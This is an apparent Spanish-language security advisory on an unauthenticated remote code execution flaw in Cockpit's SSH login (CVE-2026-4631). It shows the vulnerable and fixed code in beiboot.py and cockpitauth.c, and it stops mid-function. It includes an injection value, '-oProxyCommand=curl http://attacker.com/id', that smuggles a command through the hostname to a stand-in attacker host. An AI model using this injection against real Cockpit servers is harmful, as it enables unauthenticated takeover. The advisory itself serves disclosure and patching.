
Cockpit: Ejecución remota de código no autenticada mediante inyección de argumentos de línea de comandos en SSH
Cockpit: Ejecución Remota de Código No Autenticada mediante Inyección de Argumentos de Línea de Comandos SSH
| Campo | Detalle |
|---|---|
| ID CVE | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Severidad | Crítica (CVSS 9.8) |
| Versiones afectadas | Cockpit 327 – 359 |
| Corregido en | Cockpit 360 |
| CWE | CWE-78: Inyección de Comandos del Sistema Operativo |
| Autenticación requerida | NO |
| Reportado por | Jelle van der Waa |
La función de inicio de sesión remoto de Cockpit pasa nombres de host proporcionados por el usuario (de la ruta URL) y nombres de usuario (del encabezado Authorization: Basic) directamente al binario OpenSSH ssh sin ninguna validación ni saneamiento.
Un atacante no autenticado con acceso de red al puerto 9090 puede elaborar una única solicitud HTTP que:
-oProxyCommand=<cmd>)%r de SSHAmbos puntos de inyección se activan antes de que se complete la verificación de credenciales, lo que significa que no se requiere un inicio de sesión válido.

Antes de la versión 327, Cockpit utilizaba un binario C dedicado llamado cockpit-ssh (basado en libssh) para conexiones remotas. A partir de la versión 327, esto fue reemplazado por:
python3 -m cockpit.beiboot
que invoca al cliente OpenSSH ssh del sistema. Este cambio introdujo la vulnerabilidad porque la nueva ruta de código pasa valores controlados por el usuario directamente a ssh sin saneamiento.
-- Antes del Nombre de HostEl cliente SSH interpreta los argumentos que comienzan con - como opciones, no como un nombre de host, a menos que un separador -- los preceda. Sin --, cualquier nombre de host que comience con - se analiza como una bandera SSH.
Construcción vulnerable:
ssh [opciones] <nombre-de-host> <comando-remoto>
Construcción segura:
ssh [opciones] -- <nombre-de-host> <comando-remoto>
Ni cockpit-ws (código C) ni cockpit.beiboot (código Python) validan ni sanean:
Authorization: Basicargparse de Python (CPython #66623)Un error conocido de CPython hace que argparse maneje incorrectamente los argumentos que comienzan con - y que también contienen espacios, tratándolos como posicionales en lugar de banderas. Esto permite que un nombre de host -oProxyCommand=comando malicioso pase a través del análisis de argumentos de Python y llegue a ssh como una opción.
src/cockpit/beiboot.py — Punto de Inyección PrincipalEste es el archivo más crítico. La función via_ssh() construye la lista de argumentos del comando SSH.
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
"""Build an ssh command to run `cmd` on `dest`."""
# Parse optional port from dest (e.g. "host:2222")
host, _, port = dest.rpartition(':')
if port.isdigit() and host:
# Strip IPv6 brackets
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# VULNERABLE: No '--' before host
# If host = "-oProxyCommand=evil", ssh treats it as an option
destination = ['-p', port, host]
else:
# VULNERABLE: Raw attacker input passed directly to ssh
destination = [dest]
return (
'ssh', *ssh_opts, *destination, shlex.join(cmd)
)
Con dest = "-oProxyCommand=curl http://attacker.com/id":
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1 ← opción de cockpit
arg2: -oProxyCommand=curl http://... ← ANALIZADO COMO OPCIÓN SSH (no host)
arg3: python3 -ic '# cockpit-bridge' ← se convierte en el "nombre de host" → activa ProxyCommand
if port.isdigit() and host:
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# FIXED: '--' forces everything after it to be positional
destination = ['-p', port, '--', host]
else:
# FIXED: '--' separator added
destination = ['--', dest]
src/ws/cockpitauth.c — Capa C: Extracción del Nombre de HostEste archivo C maneja el análisis inicial de la solicitud HTTP y lanza el proceso beiboot.
static const gchar *
application_parse_host(const gchar *application)
{
const gchar *prefix = "cockpit+=";
gint len = strlen(prefix);
g_return_val_if_fail(application != NULL, NULL);
// Extracts everything after "cockpit+=" from the URL path
// No character validation — dashes, special chars allowed
if (g_str_has_prefix(application, prefix) && application[len] != '\0')
return application + len;
else
return NULL;
}
El nombre de host devuelto se pasa directamente como argumento al lanzar beiboot:
// cockpit_ws_ssh_program is the spawn command template
// VULNERABLE: hostname appended with no sanitization
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
// ^
// No trailing '--' means hostname can be parsed
// as a flag by Python's argparse (CPython #66623)
// FIXED: trailing '--' ensures hostname is always positional
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
CockpitWebRequest *request,
const char *application,
const char *host,
const char *type,
const char *authorization)
{
char *user = NULL;
char *raw = NULL;
if (g_strcmp0(type, "basic") == 0) {
// Decodes Authorization: Basic base64(user:password)
// No validation of 'user' — semicolons, special chars allowed
raw = cockpit_authorize_parse_basic(authorization, &user);
}